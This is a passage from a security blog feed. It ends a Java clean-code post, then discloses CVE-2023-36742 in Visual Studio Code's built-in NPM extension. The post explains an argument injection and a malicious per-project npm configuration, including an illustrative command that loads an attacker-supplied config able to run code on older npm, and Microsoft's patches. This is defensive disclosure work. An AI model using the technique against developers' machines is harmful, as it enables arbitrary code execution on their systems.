}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Hint&lt;/strong&gt;: check the commented-out code and remove it if it no longer applies to the submitted feature or uncomment it if it was a temporary disabling.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-125/&quot;&gt;&lt;em&gt;Sonar rule&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;2. Track uses of &amp;quot;TODO&amp;quot; tags&lt;/h3&gt;&lt;p&gt; Leaving TODO comments in the source code, which most likely will survive eons, leads to code that is not complete and that can impact several areas.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Team collaboration: some team members might not be sure which features will be included in the final release&lt;/li&gt;&lt;li&gt;Bugs: not implementing those parts now could lead to bugs in the future as this feature was expected&lt;/li&gt;&lt;li&gt;Performance: Usually, these TODO blocks are important but developers don’t want to block the new feature, so maybe this importance can leak performance in the future&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Here we have an example of a real project, Apache Camel, with a TODO line introduced 9 years ago.&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;SslHandler sslHandler = configureClientSSLOnDemand();
    if (sslHandler != null) {
         //TODO  must close on SSL exception
         //sslHandler.setCloseOnSSLException(true);
         LOG.debug(&quot;Client SSL handler configured and added to the ChannelPipeline: {}&quot;, sslHandler);
         addToPipeline(&quot;ssl&quot;, channelPipeline, sslHandler);
     }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Hint&lt;/strong&gt;: do not add new TODO blocks and implement the feature before submitting the code or record these tasks in the proper task manager to tackle them in the future.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-1135/&quot;&gt;&lt;em&gt;Sonar rule&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;3. String literals duplicated&lt;/h3&gt;&lt;p&gt;Having duplicated strings will lead to extra work or missing changes when those values need to be changed to adjust to new conditions. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Noncompliant - &quot;action1&quot; is duplicated 3 times
public void run() {
  prepare(&quot;action1&quot;);   
  execute(&quot;action1&quot;);
  release(&quot;action1&quot;);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Hint&lt;/strong&gt;: use constants to store string literals, it will make refactoring easier and improve the consistency of the code base.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Compliant
private static final String ACTION = &quot;action1&quot;;

public void run() {
  prepare(ACTION);   
  execute(ACTION);
  release(ACTION);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-1192&quot;&gt;&lt;em&gt;Sonar rule&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;4. Cognitive Complexity of functions should not be too high&lt;/h3&gt;&lt;p&gt;You are probably more used to hearing about cyclomatic complexity, a concept to measure how many paths are used in the code and, therefore, the level of reading complexity for a given part of the code. &lt;/p&gt;&lt;p&gt;But cyclomatic complexity can not express the real &lt;strong&gt;maintainability&lt;/strong&gt; level that needs more considerations apart from the number of conditionals and loops. Take a look at this blog to &lt;a href=&quot;https://www.sonarsource.com/blog/cognitive-complexity-because-testability-understandability/&quot;&gt;understand more about cognitive complexity&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;It&amp;#x27;s important to reduce the code complexity in order to make easier refactoring, fixes, and evolutions, as developers spend way more time reading than writing code.&lt;/p&gt;&lt;p&gt;The key takeout of this issue is that usually projects are hard to read and understand, and this will impact knowing its intention and tackling its maintenance and evolution. When you come across code that has high cognitive complexity you should invest in refactoring the code so that your code-base becomes more understandable and maintainable over time.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Hint&lt;/strong&gt;: consider the complexity index of your new code and invest time trying to reduce it according to the configured threshold that should be low enough.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/?search=cognitive&quot;&gt;&lt;em&gt;Sonar rules&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;5. Unused elements should be removed&lt;/h3&gt;&lt;p&gt;It’s so common that when we start coding a feature we create elements of the code that at the moment of merging it to the main branch, no longer have any purpose. These unused elements do not cause runtime errors or failing tests so, it’s hard to spot these elements, that need to be removed, or in the worst case, that will force us to rethink the code if what it’s right is the existence of the element.&lt;/p&gt;&lt;p&gt;Unused elements will reduce the readability of the code making it harder to identify the intention of the code and give confidence in its completion, you should remove them.  &lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class MyClass {
    private int foo = 42;   //private field not used

    public int compute(int a, int b) { //b argument not used
   int c = 10; //local variable not used
       return a * 42;
    }

  public int run() {
    int value=10; //assignment not used
    value=compute(2, 5);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Hint&lt;/strong&gt;: check the unused code and remove the one that is no longer used or consider if there’s missing code that would use those dead elements.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Sonar rules &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-1128&quot;&gt;imports&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-1854&quot;&gt;assignments&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-1481&quot;&gt;variables&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-1068&quot;&gt;private&lt;/a&gt; fields, &lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-1172&quot;&gt;parameters&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;6. Raw types should not be used&lt;/h3&gt;&lt;p&gt;In Java you should not use generic types without type parameters as it avoids the type checking and catching of unsafe code during the compilation, making everything visible during runtime.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Noncompliant
List myList; 
Set mySet; &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Hint&lt;/strong&gt;: use specific types that will give the right idea to the users of those variables what is really expected, and ensure no surprises appear during runtime.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Compliant solution
List&lt;String&gt; myList;
Set&lt;? extends Number&gt; mySet;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-3740&quot;&gt;&lt;em&gt;Sonar rule&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;7. Generic exceptions should never be thrown&lt;/h3&gt;&lt;p&gt;The usage of generic exceptions prevents the calling methods from handling different system-generated exceptions and application-generated errors.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Noncompliant
public void foo(String bar) {  
   if (bar.isEmpty()) {  
    throw new Exception();     
  }
  if (bar == &quot;jello&quot;) {
    throw new Exception();
  }
  System.out.println(&quot;This is bar: &quot; + bar);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Hint&lt;/strong&gt;: create a custom system of exceptions that will provide enough information to the caller in order to decide what to do, having a detailed and differentiated list of catches.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;// Compliant
public void fooException(String bar) {  
   if (bar.isEmpty()) {  
    throw new EmpyValueException();     
  }
  if (bar == &quot;jello&quot;) {
    throw new InvalidArgumentException();
  }
  System.out.println(&quot;This is bar: &quot; + bar);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href=&quot;https://rules.sonarsource.com/java/RSPEC-112&quot;&gt;&lt;em&gt;Sonar rule&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Conclusions&lt;/h3&gt;&lt;p&gt;We’ve seen some of the issues detected on all the projects analyzed by SonarLint, that are impacting not only the intentionality of the code but also the consistency and the adaptability of the software produced. &lt;/p&gt;&lt;p&gt;You can detect these issues by using a tool like &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint&quot;&gt;SonarLint&lt;/a&gt;. This follows the &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/user-guide/clean-as-you-code/&quot;&gt;Clean as You Code&lt;/a&gt; methodology that helps you clean up a project by focusing on the new code introduced. Using SonarQube/SonarCloud can then ensure no new issues are merged into your project by providing a customizable Quality Gate.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Visual Studio Code Security: Finding New Vulnerabilities in the NPM Integration (3/3)]]></title><description><![CDATA[It's time to wrap up our series on the security of Visual Studio Code with new vulnerabilities in the NPM integration, bypassing the Workspace Trust security feature.]]></description><link>https://www.sonarsource.com/blog/vscode-security-finding-new-vulnerabilities-npm-integration</link><guid isPermaLink="false">0ccdff93-b8be-5cf3-92f6-17fe9632c556</guid><dc:creator><![CDATA[Thomas Chauchefoin, Paul Gerste]]></dc:creator><pubDate>Mon, 20 Nov 2023 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Welcome back to our series on the security of Visual Studio Code! We strongly encourage you reading first &lt;a href=&quot;https://www.sonarsource.com/blog/visual-studio-code-security-deep-dive-into-your-favorite-editor/&quot;&gt;Visual Studio Code Security: Deep Dive into Your Favorite Editor (1/3)&lt;/a&gt;  to refresh your memory on the most common types of vulnerabilities in Visual Studio Code as it will come in very handy today.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This time, we dive into two new vulnerabilities in the built-in integration of the JavaScript package manager, NPM. They can be exploited even when Visual Studio Code is configured to not trust the current folder, effectively circumventing the Workspace Trust security feature.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;We recommend all Visual Studio Code users to upgrade to Visual Studio Code 1.82.1 or above to benefit from protection against these vulnerabilities. &lt;/strong&gt;&lt;/p&gt;&lt;h2&gt;It all starts with a meeting…&lt;/h2&gt;&lt;p&gt;There&amp;#x27;s a fun anecdote behind these discoveries. While rehearsing &lt;a href=&quot;https://www.youtube.com/watch?v=sdiHfVhPso4&quot;&gt;our DEF CON talk on this topic&lt;/a&gt;, we paused on this slide that shows a command injection vulnerability (CVE-2020-16881) found by David Dworken in the NPM integration:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4a693c2e-e974-4e14-9f2f-3a02b0910f05/3%20-%20NPM%20Slide%201.png&quot; /&gt;&lt;p&gt;To address this issue, Microsoft started to validate the contents of the variable &lt;code&gt;pack&lt;/code&gt; with a regular expression to limit the presence of malicious characters. This patch was quickly bypassed by Justin Steven with CVE-2020-17023:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/99024083-e676-4204-9c0c-f755be712016/3%20-%20NPM%20Slide%202.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The researcher also contributed a patch that addresses the issue in a way that CVE-2020-16881 should have been addressed in the first place—more information on this can be found in the original ticket &lt;a href=&quot;https://github.com/microsoft/vscode/issues/107951&quot;&gt;#107951&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Two vulnerabilities on a single feature are not uncommon, but from our experience, we also know that developers addressing &lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-2076/&quot;&gt;command injection vulnerabilities&lt;/a&gt; often leave an &lt;a href=&quot;https://rules.sonarsource.com/javascript/type/Vulnerability/RSPEC-5883/&quot;&gt;argument injection vulnerability&lt;/a&gt; at the same location. Could this be the case here?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Even if there is a vulnerability, this may be a risk accepted by the threat model of the software. Before jumping to any conclusion, we first have to understand how this extension works. &lt;/p&gt;&lt;h2&gt;Let&amp;#x27;s get more familiar with the NPM integration!&lt;/h2&gt;&lt;p&gt;Looking into the NPM integration, we can quickly notice that this is a built-in extension that is enabled by default. In its manifest, it declares that it can run even in untrusted workspaces and triggers when the current directory contains a file named &lt;code&gt;package.json&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;npm&quot;,
  &quot;publisher&quot;: &quot;vscode&quot;,
  // [...]
  &quot;activationEvents&quot;: [
    &quot;onTaskType:npm&quot;,
    &quot;onLanguage:json&quot;,
    &quot;workspaceContains:package.json&quot;
  ],
  &quot;capabilities&quot;: {
    &quot;virtualWorkspaces&quot;: {
      &quot;supported&quot;: &quot;limited&quot;,
      &quot;description&quot;: &quot;%virtualWorkspaces%&quot;
    },
    &quot;untrustedWorkspaces&quot;: {
      &quot;supported&quot;: &quot;limited&quot;,
      &quot;description&quot;: &quot;%workspaceTrust%&quot;
    }
  },
  // [...]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;extensions/npm/package.json&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While the support of &lt;code&gt;untrustedWorkspaces.supported&lt;/code&gt; is set to &lt;code&gt;limited&lt;/code&gt;, the module does not really differentiate trusted and unsupported workspaces—it does not use &lt;code&gt;workspace.isTrusted&lt;/code&gt; or similar features.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We have then the trail of a potential argument injection in a module that&amp;#x27;s enabled by default, which runs in unstrusted Visual Studio Code workspaces. Let&amp;#x27;s now confirm if this is a valid finding!&lt;/p&gt;&lt;h2&gt;CVE-2023-36742, Part 1: Argument Injection&lt;/h2&gt;&lt;p&gt;The function depicted in the slides above is &lt;code&gt;npmView()&lt;/code&gt;. When a &lt;code&gt;package.json&lt;/code&gt; file is open, one of the functionalities of this module is to show information on the name of the dependency when hovered by the user&amp;#x27;s cursor.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4ef4933c-b750-4bb6-8aaa-8a21a9c0ee36/3%20-%20Integration.png&quot; /&gt;&lt;p&gt;Its full implementation is as follows, where &lt;code&gt;pack&lt;/code&gt; is the variable that contains the name of the hovered dependency:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import * as cp from &apos;child_process&apos;;
// [...]
private npmView(npmCommandPath: string, pack: string, resource: Uri | undefined): Promise&lt;ViewPackageInfo | undefined&gt; {
  return new Promise((resolve, _reject) =&gt; {
    const args = [&apos;view&apos;, &apos;--json&apos;, pack, &apos;description&apos;, &apos;dist-tags.latest&apos;, &apos;homepage&apos;, &apos;version&apos;, &apos;time&apos;];
    const cwd = resource &amp;&amp; resource.scheme === &apos;file&apos; ? dirname(resource.fsPath) : undefined;
    cp.execFile(npmCommandPath, args, { cwd }, (error, stdout) =&gt; {
      // [...]
    });
  });
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;extensions/npm/src/features/packageJSONContribution.ts&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This allows an attacker to add arbitrary arguments to the invocation of NPM, but what could be done with it?&lt;/p&gt;&lt;h3&gt;Exploitation&lt;/h3&gt;&lt;p&gt;Though this seemed like a powerful primitive in the first place, practical exploitation is unlikely. The most interesting idea was to use NPM&amp;#x27;s option to change its global configuration, &lt;code&gt;--globalconfig&lt;/code&gt;. It would result in the following command-line, effectively loading an arbitrary configuration from a local file named &lt;code&gt;description&lt;/code&gt; that would also be part of the malicious project:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;npm view --json --globalconfig description dist-tags.latest homepage version time&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But after some research, there&amp;#x27;s no &amp;quot;dangerous&amp;quot; configuration direction in the latest version version of npm. There was one, &lt;code&gt;onload-script&lt;/code&gt; that pointed to a JavaScript module to execute before &lt;code&gt;npm view&lt;/code&gt;, and it was removed in npm v7—&lt;a href=&quot;https://github.com/npm/feedback/discussions/71&quot;&gt;for security reasons&lt;/a&gt;!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, we found that Ubuntu 20.04.6 TLS, which is still supported, embarks NPM 6.14.4 that would still process &lt;code&gt;onload-script&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because &lt;code&gt;onload-script&lt;/code&gt; is relative to Node&amp;#x27;s library paths, like &lt;code&gt;/usr/share/npm/node_modules&lt;/code&gt;, this requires an absolute path to the script to execute. On Linux systems, this can be solved by using &lt;code&gt;/proc/self/cwd/&lt;/code&gt; that points to the current folder, but this is not as trivial on all systems.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It may not reflect the constraints of more recent versions of NPM and other platforms, but it still shows that in some cases it could be leveraged to execute arbitrary commands on behalf of the user in untrusted workspaces.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/IC7QedifaWY?si=lWGajANxhZXJpWyl&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We&amp;#x27;ve added this vector to our &lt;a href=&quot;https://sonarsource.github.io/argument-injection-vectors/&quot;&gt;Argument Injection Vectors&lt;/a&gt; project, including a mention of this caveat. Let us know if you find other interesting ones for &lt;code&gt;npm&lt;/code&gt;!&lt;/p&gt;&lt;h2&gt;CVE-2023-36742, Part 2: NPM Local Configuration File&lt;/h2&gt;&lt;p&gt;Since the command &lt;code&gt;npm&lt;/code&gt; is executed, would it also happen to trust files from the local directory? That&amp;#x27;s one of the principal sources of security issues in Visual Studio Code we documented in &lt;a href=&quot;https://www.sonarsource.com/blog/visual-studio-code-security-deep-dive-into-your-favorite-editor/&quot;&gt;Visual Studio Code Security: Deep Dive into Your Favorite Editor (1/3)&lt;/a&gt;. This can be confirmed either by using dynamic tools—here &lt;code&gt;strace&lt;/code&gt; to identify filesystem accesses—or… &lt;a href=&quot;https://docs.npmjs.com/cli/v10/using-npm/config#npmrc-files&quot;&gt;by reading the documentation&lt;/a&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/704b5d80-ec71-4b8e-bd67-3ff35c26ecd6/3%20-%20NPM%20Docs%201.png&quot; /&gt;&lt;p&gt;Notice the first line: per-project configuration files are supported. That means that this same call to &lt;code&gt;npm view&lt;/code&gt; will attempt to read the configuration from the current folder. This basically has the same power as &lt;a href=&quot;https://docs.google.com/document/d/1CGcH_jnN8dmj67SO9WUBS_802rV4zEcWrddBAenDxD8/edit#heading=h.rlewi78vy0tu&quot;&gt;CVE-2023-36742, Part 1: Argument Injection&lt;/a&gt;: with full control over the configuration of NPM, attackers could execute arbitrary commands on the victim&amp;#x27;s system in some cases.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/7vMbT62rM4g?si=DzuNXexZ8kli009u&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;How did Microsoft address these vulnerabilities?&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;Date&lt;/td&gt;&lt;td&gt;Action&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Aug 8, 2023&lt;/td&gt;&lt;td&gt;We reported the two issues to Microsoft through their MSRC platform.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Aug 21, 2023&lt;/td&gt;&lt;td&gt;Microsoft confirmed the issues.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;September 9, 2023&lt;/td&gt;&lt;td&gt;Microsoft closed the first issue as a duplicate of the second issue.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;Sept 12, 2023&lt;/td&gt;&lt;td&gt;Visual Studio Code 1.82.1 is released, fixing CVE-2023-36742.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On September 8, Microsoft developers Martin Aeschlimann and Christof Marti pushed a patch addressing the argument injection and mitigating the risks around the use of local configuration files by NPM in &lt;a href=&quot;https://github.com/microsoft/vscode/commit/e7b339721792056cee11c11afc69df71a0a85d59&quot;&gt;&lt;code&gt;e7b3397&lt;/code&gt;&lt;/a&gt;. Despite distinct root causes and requirements, Microsoft assigned &lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36742&quot;&gt;CVE-2023-36742&lt;/a&gt; to both reports, arguing they were both fixed in a single commit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;First, they chose to tighten the validation of package names based on a similar implementation as the package &lt;code&gt;validate-npm-package-name&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;--- a/extensions/npm/src/features/packageJSONContribution.ts
+++ b/extensions/npm/src/features/packageJSONContribution.ts
@@ -252,11 +252,12 @@ export class PackageJSONContribution implements IJSONContribution {
 	}
 
 	private isValidNPMName(name: string): boolean {
-		// following rules from https://github.com/npm/validate-npm-package-name
-		if (!name || name.length &gt; 214 || name.match(/^[_.]/)) {
+		// following rules from https://github.com/npm/validate-npm-package-name,
+		// leading slash added as additional security measure
+		if (!name || name.length &gt; 214 || name.match(/^[-_.\s]/)) {
 			return false;
 		}
-		const match = name.match(/^(?:@([^/]+?)[/])?([^/]+?)$/);
+		const match = name.match(/^(?:@([^/~\s)(&apos;!*]+?)[/])?([^/~)(&apos;!*\s]+?)$/);
 		if (match) {
 			const scope = match[1];
 			if (scope &amp;&amp; encodeURIComponent(scope) !== scope) {&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While this method tries to mimic the behavior of this package, they have small implementation differences. For example, &lt;code&gt;validate-npm-package-name&lt;/code&gt; agrees that &lt;code&gt;--help&lt;/code&gt; is a valid package name, while &lt;code&gt;isValidNPMName()&lt;/code&gt; disagrees.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Then, they introduced the end-of-options POSIX argument to separate options from positional arguments, making it impossible to inject new arguments in the call to &lt;code&gt;npm view&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;--- a/extensions/npm/src/features/packageJSONContribution.ts
+++ b/extensions/npm/src/features/packageJSONContribution.ts
@@ -284,7 +285,7 @@ export class PackageJSONContribution implements IJSONContribution {
 
 	private npmView(npmCommandPath: string, pack: string, resource: Uri | undefined): Promise&lt;ViewPackageInfo | undefined&gt; {
 		return new Promise((resolve, _reject) =&gt; {
-			const args = [&apos;view&apos;, &apos;--json&apos;, pack, &apos;description&apos;, &apos;dist-tags.latest&apos;, &apos;homepage&apos;, &apos;version&apos;, &apos;time&apos;];
+			const args = [&apos;view&apos;, &apos;--json&apos;, &apos;--&apos;, pack, &apos;description&apos;, &apos;dist-tags.latest&apos;, &apos;homepage&apos;, &apos;version&apos;, &apos;time&apos;];
 			const cwd = resource &amp;&amp; resource.scheme === &apos;file&apos; ? dirname(resource.fsPath) : undefined;
 			cp.execFile(npmCommandPath, args, { cwd }, (error, stdout) =&gt; {
 				if (!error) {&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Interestingly, the &lt;code&gt;npm&lt;/code&gt; binary will still load potentially malicious configuration files, but the extension will only be enabled in trusted workspaces—the vulnerability is still here, only now it&amp;#x27;s behind the Workspace Trust prompt: &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;--- a/extensions/npm/src/npmMain.ts
+++ b/extensions/npm/src/npmMain.ts
@@ -97,7 +97,7 @@ export async function activate(context: vscode.ExtensionContext): Promise&lt;void&gt;
 }
 
 async function getNPMCommandPath(): Promise&lt;string | undefined&gt; {
-	if (canRunNpmInCurrentWorkspace()) {
+	if (vscode.workspace.isTrusted &amp;&amp; canRunNpmInCurrentWorkspace()) {
 		try {
 			return await which(process.platform === &apos;win32&apos; ? &apos;npm.cmd&apos; : &apos;npm&apos;);
 		} catch (e) {&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Reflexions around these patches&lt;/h2&gt;&lt;p&gt;Retrospectively, these patches could be made simpler to address all historical issues and our new findings. This is a common pattern we often see when disclosing vulnerabilities to big code bases, where security patches often only try to address singular issues. Over time, it complexifies the code and makes later security reviews harder. It becomes also harder for future developers to work on this feature.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At Sonar, we believe that code quality and security are intimately linked—so much so that they are pillars of what we call Clean Code. It is important to make such code Intentional (clear, logical, etc.) and Adaptable, to ensure its Maintainability and Security. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In practice, with the patches above, the code stays in a state in which future developers have to grasp and understand all previous decisions to work on it efficiently. They are likely to introduce new or re-introduce old defects, bugs, or vulnerabilities.&lt;/p&gt;&lt;h2&gt;Reflexions around Workspace Trust&lt;/h2&gt;&lt;p&gt;Overall, we still think that Workspace Trust is a great feature, a net benefit for developer&amp;#x27;s security, and we came to slightly nuance our position on this over the last months. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We&amp;#x27;re not surprised to find several bypasses around it—security features like this are primarily here to raise the bar for attackers and not fix all holes systematically—but we worry about how easy it became for Microsoft to sweep these issues under the &amp;quot;Workspace Trust&amp;quot; rug. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If a component becomes the source of many vulnerabilities, it is often put behind Workspace Trust rather than trying to find a way to keep the same set of features more safely. For instance, in the case of the NPM vulnerabilities we just covered, other ways to fetch packages&amp;#x27; information exist without relying on an external command call, and using them would have addressed our two findings as well.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Hence, we think that users will be more prone to trust third-party workspaces, so they can fully benefit from basic integrations like Git and NPM. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The experience of security-conscious users could also be greatly improved by allowing them to not trust any project by default. This systematic prompt is likely to create a form of alert fatigue if you are dealing with many projects and are prompted every time. A similar feature request already exists on GitHub, under &lt;a href=&quot;https://github.com/microsoft/vscode/issues/126311&quot;&gt;#126311&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, one can note that such built-in extensions, enabled by default, are also excluded from monetary rewards of the Microsoft Bounty Program. Third-party security researchers are thus less incentivized to look for Workspace Trust bypasses and make this security feature stronger.&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this publication, we came back to two vulnerabilities in Visual Studio Code, both related to the NPM integration.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Stepping back from this research, we can also notice how close these bugs are to previous ones we found in the Git integration, CVE-2021-43891, and CVE-2022-30129. They have exactly the same root cause and impact, but only in another component. In this case, NPM security hardening paid off and prevented broader exploitation of the issues introduced by Visual Studio Code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another general takeaway from this research is that CVEs tend to point to fragile code. It may sound obvious but it&amp;#x27;s very common for developers and security practitioners to think that previous vulnerabilities on an attack surface mean that many people already reviewed this code and found anything that is to be found. Reality is more complex than that, and previous CVEs should never stop you from doing code reviews. Justin Steven has been fairly successful with this technique!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Speaking as Visual Studio Code enthusiasts ourselves, we still think that Workspace Trust is a powerful security feature, but it shouldn&amp;#x27;t be considered enough when dealing with potentially malicious material or when having high security requirements.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank all Microsoft employees involved in the disclosure process, from MSRC triagers to Visual Studio Code developers, for their help in addressing our findings.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This post concludes our series on the security of Visual Studio Code, and our research on this topic. We&amp;#x27;ve had fun doing it and sharing our findings with a broader audience. Stay tuned for new vulnerabilities!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/visual-studio-code-security-deep-dive-into-your-favorite-editor/&quot;&gt;Visual Studio Code Security: Deep Dive into Your Favorite Editor (1/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/&quot;&gt;Visual Studio Code Security: Markdown Vulnerabilities in Third-Party Extensions (2/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-argument-injection-in-vscode/&quot;&gt;Securing Developer Tools: Argument Injection in Visual Studio Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/&quot;&gt;Securing Developer Tools: 